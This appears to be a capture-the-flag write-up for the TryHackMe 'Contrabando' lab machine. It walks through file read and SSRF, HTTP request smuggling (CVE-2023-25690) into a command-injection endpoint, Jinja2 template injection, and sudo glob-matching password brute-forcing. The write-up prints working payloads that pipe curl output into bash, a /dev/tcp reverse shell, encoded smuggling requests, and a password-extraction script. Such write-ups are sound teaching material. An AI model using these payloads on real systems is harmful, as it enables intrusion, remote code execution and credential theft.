4316 words
22 minutes
Contrabando Tryhackme Writeup

IP#

  • 10.201.63.47

RECON#

Terminal window
$ nmap -T4 -n -sC -sV -Pn -p- 10.201.63.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 41:ed:cf:46:58:c8:5d:41:04:0a:32:a0:10:4a:83:3b (RSA)
| 256 e8:f9:24:5b:e4:b0:37:4f:00:9d:5c:d3:fb:54:65:0a (ECDSA)
|_ 256 57:fd:4a:1b:12:ac:7c:90:80:88:b8:5a:5b:78:30:79 (ED25519)
80/tcp open http Apache httpd 2.4.55 ((Unix))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.55 (Unix)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ports Open#

There are two ports open:

  • 22 (SSH)
  • 80 (HTTP)

Web 80#

Upon accessing http://10.201.63.47/, the site presents a static Coming Soon page, which includes a navigational link directing users to /page/home.html.

alt text

Navigating to http://10.201.63.47/page/home.html displays only a message indicating that the password generator is currently unavailable, with no additional content present.

alt text

A notable observation, which may prove relevant later, is that the response headers reveal the presence of two distinct Apache2 servers.

    1. http://10.201.63.47/ alt text

In home page it was running on Server:

  • Apache/2.4.55 (Unix)

    1. http://10.201.63.47/page/home.html alt text

In /page/home.html it was running on Server:

  • Apache/2.4.54 (Debian)

X-Powered-By:

  • PHP/7.4.33

Foothold#

Web Application Analysis#

Initial fuzzing of the webroot did not yield any notable results. However, targeting the /page/ endpoint for potential files revealed an unusual behavior: all responses consistently returned a 200 OK status.

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u 'http://10.201.63.47/page/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php,/
...
09.php [Status: 200, Size: 148, Words: 19, Lines: 3, Duration: 129ms]
09 [Status: 200, Size: 144, Words: 19, Lines: 3, Duration: 137ms]
images.php [Status: 200, Size: 152, Words: 19, Lines: 3, Duration: 112ms]
...

Upon inspecting one of these responses, a peculiar behavior is observed: any input provided after /page/ in the URL appears to be directly passed to the readfile() function within /var/www/html/index.php. alt text

Bypassing a test string and providing the path to a valid file (using double URL encoding) confirms that the readfile() function successfully retrieves the file contents, allowing arbitrary file reads. Furthermore, leveraging wrappers such as http:// enables external requests to be made and their responses read, exposing a Server-Side Request Forgery (SSRF) vulnerability.

Let see /etc/passwd

NOTE

we should encode this becoz dangerous string, may be blocked. after encode you will get %252Fetc%252Fpasswd alt text

Exploiting this vulnerability for reconnaissance and making targeted requests reveals that the application is running within a Docker container. Apart from noting that the Apache2 server is listening on *:8080 via its configuration, there is little of immediate value.

Resuming fuzzing of the /page/ endpoint, this time with the -fw 19 option to ignore readfile() errors, uncovers two noteworthy files: index.php and gen.php.

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u 'http://10.201.63.47/page/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php,/ -fw 19
...
index.php [Status: 200, Size: 148, Words: 17, Lines: 11, Duration: 135ms]
gen.php [Status: 200, Size: 392, Words: 65, Lines: 15, Duration: 127ms]

Analysis of /page/gen.php reveals a straightforward PHP script that accepts a length parameter via POST and forwards it directly to the exec() function, introducing a command injection vulnerability.

alt text

Reviewing /page/index.php confirms that this script underlies the file read and request functionality. It extracts the page parameter from the GET request and passes it directly to readfile(). Interestingly, requests to /page/* are still processed successfully, despite the script being designed to accept the parameter explicitly via a GET variable.

alt text

Request Tunneling#

At this stage, the available findings suggest that the application relies on a two-tier setup. The frontend Apache2 server intercepts requests and, when the URL begins with /page/, it extracts the subsequent content and proxies the request to a backend Apache2 instance. This backend hosts index.php and gen.php, with the proxied request taking the form: http://backend:8080/index.php?page=* This mechanism prevents direct access to gen.php on the backend.

Despite this restriction, index.php remains accessible, allowing the readfile() function to be invoked with arbitrary input. Leveraging this, it is possible to request backend resources such as http://127.0.0.1:8080/gen.php. However, the readfile() function only issues GET requests, limiting interaction with gen.php to retrieval only. Since exploiting the command injection vulnerability in gen.php requires a POST request, this creates a barrier to direct exploitation.

encoded : http%253a%252f%252f127.0.0.1%253a8080%252fgen.php alt text

Investigating how the proxying behavior may be configured in Apache2 suggests that it is likely implemented using mod_proxy, with a configuration resembling the following:

Terminal window
ProxyPass "/page/" "http://backend:8080/"
ProxyPassReverse "/page/" "http://backend:8080/"

HTTP Request Smuggling via mod_proxy (CVE-2023-25690)#

Recon indicates a front-end Apache HTTP Server (mod_proxy) forwarding paths beginning with /page/ to a back-end Apache instance. The proxy constructs target URLs as:

http://backend:8080/index.php?page=<suffix> In Apache 2.4.55, a configuration like this is vulnerable to CRLF injection CVE-2023-25690, enabling HTTP request smuggling.

Observed Behavior#

  • Input appended after /page/ is reflected in the back-end request line processed by index.php.
  • CRLF characters (\r\n) can be injected to make the back end interpret a single front-end request as multiple requests.

Example (sanitized): Front-end request:

Terminal window
GET /page/test HTTP/1.1
Host: 10.201.92.207

Back-end receives:

Terminal window
GET /index.php?page=test HTTP/1.1
Host: backend

With CRLF injection (illustrative):

Terminal window
GET /page/test%0D%0AHost:%20localhost%0D%0A%0D%0AGET%20/smuggled HTTP/1.1
Host: 10.201.92.207

Back-end interprets as two requests:

Terminal window
GET /index.php?page=test HTTP/1.1
Host: localhost
GET /smuggled HTTP/1.1
Host: backend

Impact#

  • The back-end gen.php can be reached via a smuggled POST request, enabling command injection if input is unsafely passed to exec().
  • This provides a potential remote code execution vector within the container.

Sanitized smuggled POST illustration:#

Terminal window
POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>
length=<user_input>

Conditions Required#

  • Apache 2.4.55 (or similar vulnerable version) with mod_proxy path rewriting.
  • Back-end endpoint reachable only via the proxy and unsafe input handling.
  • CRLF not blocked at the front end.

Remediation#

  • Upgrade Apache to a patched version.
  • Harden proxy rules: avoid concatenating untrusted path segments.
  • Sanitize inputs in all back-end scripts (remove exec, validate parameters).
  • Block CR/LF in URLs or headers.
  • Enforce access controls to sensitive back-end endpoints.
  • Monitor for unusual multi-request sequences via WAF/IDS.
  • Risk Rating: High (exploitation could lead to full container compromise).

Example Diagram :#

Terminal window
+----------------+ /page/ request +----------------+
| Front-end |-----------------------------> | Back-end |
| Apache2 | Apache2 |
| (10.201.92.207) | (127.0.0.1:8080)|
+----------------+ +----------------+
| |
| GET /page/test |
|------------------------------------------------->|
| |
| GET /index.php?page=test
| Host: backend
| |
| CRLF injection: |
| test%0D%0AHost: localhost%0D%0A%0D%0AGET /smuggled |
|------------------------------------------------->|
| |
| GET /index.php?page=test
| Host: localhost
| |
| GET /smuggled HTTP/1.1
| Host: backend
| |
+--------------------------------------------------+

lets use this payload :

Terminal window
test HTTP/1.1
Host: localhost
POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
length=;curl 10.14.xxx.xx|bash;
GET /test

encoded as :

Terminal window
test%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2031%0D%0A%0D%0Alength=;curl%20<ip>%7Cbash;%0D%0A%0D%0AGET%20/test
reverse shell payload on our web server:#
Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ cat index.html
/bin/bash -i >& /dev/tcp/10.4.19.136/443 0>&1
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

alt text

now lets inject our payload and we got a web shell alt text

Shell as hansolo – Network Scanning#

After gaining a foothold, the container’s IP is identified as 172.18.0.3. Performing a network scan from within the container using RustScan reveals an unusual open port on the host machine at 172.18.0.1:5000. This indicates a potential service on the host that may be reachable from the container and warrants further enumeration.

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.19.136] from (UNKNOWN) [10.201.92.207] 37618
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@124a042cc76c:/var/www/html$ script -qc /bin/bash /dev/null
script -qc /bin/bash /dev/null
www-data@124a042cc76c:/var/www/html$ ^Z
zsh: suspended nc -lvnp 443
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
www-data@124a042cc76c:/var/www/html$ export TERM=xterm
www-data@124a042cc76c:/var/www/html$ hostname -i
172.18.0.3
www-data@124a042cc76c:/tmp$ curl -s http://<ip>/rustscan -o rustscan
www-data@124a042cc76c:/tmp$ chmod +x rustscan
www-data@124a042cc76c:/tmp$ ./rustscan --top -a 172.18.0.1,172.18.0.2 --accessible
Open 172.18.0.1:22
Open 172.18.0.1:80
Open 172.18.0.2:80
Open 172.18.0.1:5000

Server-Side Request Forgery (SSRF)#

Accessing http://172.18.0.1:5000/ from the container using curl reveals a web interface containing a form that accepts URLs via POST requests. This indicates the host is performing server-side requests on behalf of user-supplied input, presenting a potential SSRF attack vector.

alt text

Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s http://172.18.0.1:5000/
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
</div>
</body>
</html>

NOTE

Testing it with a request and giving the URL for our own machine:

Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=http://10.4.19.136/' http://172.18.0.1:5000/
Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.4.19.136] from (UNKNOWN) [10.201.92.207] 33826
GET / HTTP/1.1
Host: 10.4.19.136
User-Agent: PycURL/7.45.2 libcurl/7.68.0 OpenSSL/1.1.1f zlib/1.2.11 brotli/1.0.7 libidn2/2.2.0 libpsl/0.21.0 (+libidn2/2.2.0) libssh/0.9.3/openssl/zlib nghttp2/1.40.0 librtmp/2.3
Accept: */*

alt text

Testing further, we can confirm it not only makes the request but also displays the response it receives.

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ echo 'PWNCRAFTS' > test.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.201.92.207 - - [21/Aug/2025 02:02:19] "GET /test.txt HTTP/1.1" 200 -
Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=http://10.4.19.136/test.txt' http://172.18.0.1:5000/
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
PWNCRAFTS
</div>
</body>
</html>www-data@124a042cc76c:/var/www/html$

alt text

The service uses PycURL, which supports the file:// protocol. This allows local file access on the host. Using this mechanism to read /etc/passwd confirms the presence of the hansolo user as well as the root account, indicating potential targets for privilege escalation.

Terminal window
curl -s -d 'website_url=file:///etc/passwd' http://172.18.0.1:5000/

alt text

Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///etc/passwd'
curl: no URL specified!cc76c:/var/www/html$ curl -s -d 'website_url=file:///etc/passwd'
curl: try 'curl --help' or 'curl --manual' for more information
http://172.18.0.1:5000/ar/www/html$ curl -s -d 'website_url=file:///etc/passwd'
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
hansolo:x:1000:1000::/home/hansolo:/bin/bash
</div>
</body>
</html>www-data@124a042cc76c:/var/www/html$

we have user : hansolo

Inspecting /proc/self/status reveals that the application process is running under the hansolo user account. This confirms the current privilege level within the container.

Terminal window
curl -s -d 'website_url=file:///proc/self/status' http://172.18.0.1:5000/
Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///proc/self/status' http://172.18.0.1:5000/
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
Name: python3
Umask: 0002
State: S (sleeping)
Tgid: 726
Ngid: 0
Pid: 726
PPid: 725
TracerPid: 0
Uid: 1000 1000 1000 1000
Gid: 1000 1000 1000 1000
FDSize: 64
Groups: 1000
NStgid: 726
NSpid: 726
NSpgid: 725
NSsid: 725
VmPeak: 189028 kB
VmSize: 124112 kB
VmLck: 0 kB
VmPin: 0 kB
VmHWM: 36440 kB
VmRSS: 36436 kB
RssAnon: 20856 kB
RssFile: 15580 kB
RssShmem: 0 kB
VmData: 38372 kB
VmStk: 132 kB
VmExe: 2644 kB
VmLib: 12288 kB
VmPTE: 144 kB
VmSwap: 0 kB
HugetlbPages: 0 kB
CoreDumping: 0
THP_enabled: 1
Threads: 2
SigQ: 0/15197
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000001001000
SigCgt: 0000000180000002
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
NoNewPrivs: 0
Seccomp: 0
Seccomp_filters: 0
Speculation_Store_Bypass: vulnerable
SpeculationIndirectBranch: always enabled
Cpus_allowed: 3
Cpus_allowed_list: 0-1
Mems_allowed: 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list: 0
voluntary_ctxt_switches: 6378
nonvoluntary_ctxt_switches: 55
</div>
</body>
</html>www-data@124a042cc76c:/var/www/html$

After initial attempts to access sensitive files like SSH keys prove unfruitful, the next step is to analyze the application’s source code to understand its functionality. The executable path can be retrieved from /proc/self/cmdline, providing a starting point for source code enumeration.

Clear Diagram#

Terminal window
┌───────────────────────┐
Web App /gen.php
running inside
container
└─────────┬─────────────┘
Sends a request with:
website_url=file:///proc/self/status
┌───────────────────────┐
Linux Kernel exposes
process info under
/proc/self/
└─────────┬─────────────┘
/proc/self/status contains:
┌─────────────────────────────┐
Name: python3
State: S (sleeping) │
Pid: 726
PPid: 725
Uid: 1000 1000 1000 1000 Key info
Gid: 1000 1000 1000 1000
└─────────────────────────────┘
Kernel returns content to web app
┌───────────────────────┐
Output displayed by
web app to attacker
└─────────┬─────────────┘
Attacker reads the **Uid** value:
1000 maps to user `hansolo` in /etc/passwd
┌─────────────────────┐
Attacker now knows
the process runs as
user hansolo
└─────────────────────┘
Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///proc/self/cmdline' http://172.18.0.1:5000/ -o-
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
/usr/bin/python3/home/hansolo/app/app.py
</div>
</body>
</html>www-data@124a042cc76c:/var/www/html$

Now, lets read /home/hansolo/app/app.py source code.

Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///home/hansolo/app/app.py' http://172.18.0.1:5000/
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def display_website():
if request.method == 'POST':
website_url = request.form['website_url']
# Use pycurl to fetch the content of the website
buffer = BytesIO()
c = pycurl.Curl()
c.setopt(c.URL, website_url)
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
# Extract the content and convert it to a string
content = buffer.getvalue().decode('utf-8')
buffer.close()
website_content = '''
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
%s
</div>
</body>
</html>'''%content
return render_template_string(website_content)
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=False)
</div>
</body>
</html>www-data@124a042cc76c:/var/www/html$
/home/hansolo/app/app.py
from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def display_website():
if request.method == 'POST':
website_url = request.form['website_url']
# Use pycurl to fetch the content of the website
buffer = BytesIO()
c = pycurl.Curl()
c.setopt(c.URL, website_url)
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
# Extract the content and convert it to a string
content = buffer.getvalue().decode('utf-8')
buffer.close()
website_content = '''
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
%s
</div>
</body>
</html>'''%content
return render_template_string(website_content)
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=False)

Server-Side Template Injection (SSTI)#

Analysis of the source code reveals a simple Flask application. On a POST request:

  1. The application retrieves a URL from the website_url parameter.
  2. It fetches the content of that URL using PycURL.
  3. The fetched content is assigned to website_content and passed directly to render_template_string.

Vulnerability:#

  • User-controlled URLs allow an attacker to inject arbitrary content into website_content.
  • Because this content is processed by Jinja2 through render_template_string, an attacker can achieve Server-Side Template Injection (SSTI).

Illustrative Example:#

If an attacker hosts a file containing a malicious Jinja2 template, submitting its URL via the website_url parameter would cause the template to be rendered on the server, executing arbitrary template code.

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ cat template
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.4.19.136|bash').read() }}
┌──(kali㉿kali)-[~/Desktop]
└─$

When we make the site fetch it, the response would be a template that would be formatted into the HTML code present in the application code and would get passed to render_template_string and executed.

Terminal window
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=http://10.4.19.136/template' http://172.18.0.1:5000/
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
</div>
</body>
</html>www-data@124a042cc76c:/var/www/html$

alt text

now lets turn on listener and execute the same cmd curl -s -d 'website_url=http://10.4.19.136/template' http://172.18.0.1:5000/, we obtain a shell as the hansolo user and can read the first flag.

alt text

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.19.136] from (UNKNOWN) [10.201.92.207] 54278
bash: cannot set terminal process group (725): Inappropriate ioctl for device
bash: no job control in this shell
hansolo@contrabando:~$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
hansolo@contrabando:~$ export TERM=xterm
export TERM=xterm
hansolo@contrabando:~$ ^Z
zsh: suspended nc -lvnp 443
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
hansolo@contrabando:~$ ls
app hansolo_userflag.txt
hansolo@contrabando:~$ cat hansolo_userflag.txt
THM{Th3_BeST_xxxx_xxx_xxxxxxx
hansolo@contrabando:~$

Shell as root – Sudo Privileges#

Examining the sudo capabilities for the hansolo user reveals two commands executable as root without providing the user’s password:

Terminal window
hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hansolo may run the following commands on contrabando:
(root) NOPASSWD: /usr/bin/bash /usr/bin/vault
(root) /usr/bin/python* /opt/generator/app.py

alt text

  1. /usr/bin/bash /usr/bin/vault – can be executed directly as root.

  2. /usr/bin/python* /opt/generator/app.py – requires knowledge of the hansolo user password to run as root.

Brute-Forcing the Password#

To execute the second root-level command (/usr/bin/python* /opt/generator/app.py), the hansolo user password is required. Before attempting brute force, we first examine the /usr/bin/vault script, which can be executed as root without a password, to identify potential hints or mechanisms that could reveal or assist in obtaining the password.

hansolo@contrabando:~$ cat /usr/bin/vault
#!/bin/bash
check () {
if [ ! -e "$file_to_check" ]; then
/usr/bin/echo "File does not exist."
exit 1
fi
compare
}
compare () {
content=$(/usr/bin/cat "$file_to_check")
read -s -p "Enter the required input: " user_input
if [[ $content == $user_input ]]; then
/usr/bin/echo ""
/usr/bin/echo "Password matched!"
/usr/bin/cat "$file_to_print"
else
/usr/bin/echo "Password does not match!"
fi
}
file_to_check="/root/password"
file_to_print="/root/secrets"
check
hansolo@contrabando:~$

we have /usr/bin/vault

/usr/bin/vault
#!/bin/bash
check () {
if [ ! -e "$file_to_check" ]; then
/usr/bin/echo "File does not exist."
exit 1
fi
compare
}
compare () {
content=$(/usr/bin/cat "$file_to_check")
read -s -p "Enter the required input: " user_input
if [[ $content == $user_input ]]; then
/usr/bin/echo ""
/usr/bin/echo "Password matched!"
/usr/bin/cat "$file_to_print"
else
/usr/bin/echo "Password does not match!"
fi
}
file_to_check="/root/password"
file_to_print="/root/secrets"
check

Looking at the script, we can see a vulnerability in the if [[ $content == $user_input ]]; then line, as the $user_input parameter which is read from the user is not quoted. This allows us to use glob matching in the comparison as such:

Terminal window
$ user_input="*"; if [[ "password" == "$user_input" ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE
$ user_input="*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
TRUE

Exploiting this by entering * as our input, we are able to bypass the check and access the contents of /root/secrets, though it provides no useful information.

Terminal window
hansolo@contrabando:~$ sudo /usr/bin/bash /usr/bin/vault
Enter the required input: *
Password matched!
1. Lightsaber Colors: Lightsabers in Star Wars can come in various colors, and the color often signifies the Jedi's role or affiliation. For example, blue and green lightsabers are commonly associated with Jedi Knights, while red lightsabers are typically used by Sith. However, there are exceptions, and the color can also represent other factors.
2. Darth Vader's Breathing: The iconic sound of Darth Vader's breathing was created by sound designer Ben Burtt. He achieved this effect by recording himself breathing through a scuba regulator. The sound became one of the most recognizable and menacing elements of the character.
3. Ewok Language: The Ewoks, the small furry creatures from the forest moon of Endor in "Return of the Jedi," speak a language called Ewokese. The language is a combination of various Tibetan, Nepalese, and Kalmyk phrases, as well as some manipulated dialogue from the Quechua language.
4. Han Solo's Carbonite Freeze: In "Star Wars: Episode V - The Empire Strikes Back," Han Solo is frozen in carbonite. The famous line, "I love you," "I know," was actually improvised by Harrison Ford. The original script had Han responding with "I love you too," but Ford felt that Han's character wouldn't say that, so he ad-libbed the now-famous line.
5. Yoda's Species and Name: Yoda's species and homeworld are never revealed in the Star Wars films, and George Lucas has been adamant about keeping this information a mystery. Additionally, the name "Yoda" was chosen simply because George Lucas liked the sound of it.
hansolo@contrabando:~$

Rather than merely bypassing the check, the script’s glob pattern matching can be leveraged to brute-force the value of the $content parameter, which is read from /root/password. By iterating over possible characters, prepending each to a wildcard (*), and observing the script’s behavior, it is possible to progressively reconstruct the password.

example :

Terminal window
for char in charset:
test_pattern = char + '*'
run vault script with $content = test_pattern
if script behaves as expected:
append char to known_password
Terminal window
$ user_input="a*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE
...
$ user_input="p*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
TRUE
...
$ user_input="pab*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE
...

We can automate this process with a Python script that loops through all characters prepended to * and checks if the output from the script includes Password matched!. If it does, we know we have discovered a character from the beginning of the password and can move on to the next character.

alt text

Terminal window
hansolo@contrabando:~$ nano password_find.py
hansolo@contrabando:~$ cat password_find.py
import subprocess
import string
charset = string.ascii_letters + string.digits
password = ""
while True:
found = False
for char in charset:
attempt = password + char + "*"
print(f"\r[+] Password: {password+char}", end="")
proc = subprocess.Popen(
["sudo", "/usr/bin/bash", "/usr/bin/vault"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = proc.communicate(input=attempt + "\n")
if "Password matched!" in stdout:
password += char
found = True
break
if not found:
break
print(f"\r[+] Final Password: {password}")
hansolo@contrabando:~$

script

Terminal window
# password_find.py
import subprocess
import string
charset = string.ascii_letters + string.digits
password = ""
while True:
found = False
for char in charset:
attempt = password + char + "*"
print(f"\r[+] Password: {password+char}", end="")
proc = subprocess.Popen(
["sudo", "/usr/bin/bash", "/usr/bin/vault"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = proc.communicate(input=attempt + "\n")
if "Password matched!" in stdout:
password += char
found = True
break
if not found:
break
print(f"\r[+] Final Password: {password}")
Terminal window
hansolo@contrabando:~$ python3 password_find.py
[+] Final Password: EQu5ehwHcRfZ
hansolo@contrabando:~$

we have a password : EQu5ehwHcRfZ

NOTE

Checking the /opt/generator/app.py script, it is a simple password generator:

Terminal window
hansolo@contrabando:~$ cat /opt/generator/app.py
import random
import string
def generate_password(length):
characters = string.ascii_letters + string.digits + string.punctuation
random.seed()
secret = input("Any words you want to add to the password? ")
password_characters = list(characters + secret)
random.shuffle(password_characters)
password = ''.join(password_characters[:length])
return password
try:
length = int(raw_input("Enter the desired length of the password: "))
except NameError:
length = int(input("Enter the desired length of the password: "))
except ValueError:
print("Invalid input. Using default length of 12.")
length = 12
password = generate_password(length)
print("Generated Password:", password)
hansolo@contrabando:~$

/opt/generator/app.py
import random
import string
def generate_password(length):
characters = string.ascii_letters + string.digits + string.punctuation
random.seed()
secret = input("Any words you want to add to the password? ")
password_characters = list(characters + secret)
random.shuffle(password_characters)
password = ''.join(password_characters[:length])
return password
try:
length = int(raw_input("Enter the desired length of the password: "))
except NameError:
length = int(input("Enter the desired length of the password: "))
except ValueError:
print("Invalid input. Using default length of 12.")
length = 12
password = generate_password(length)
print("Generated Password:", password)

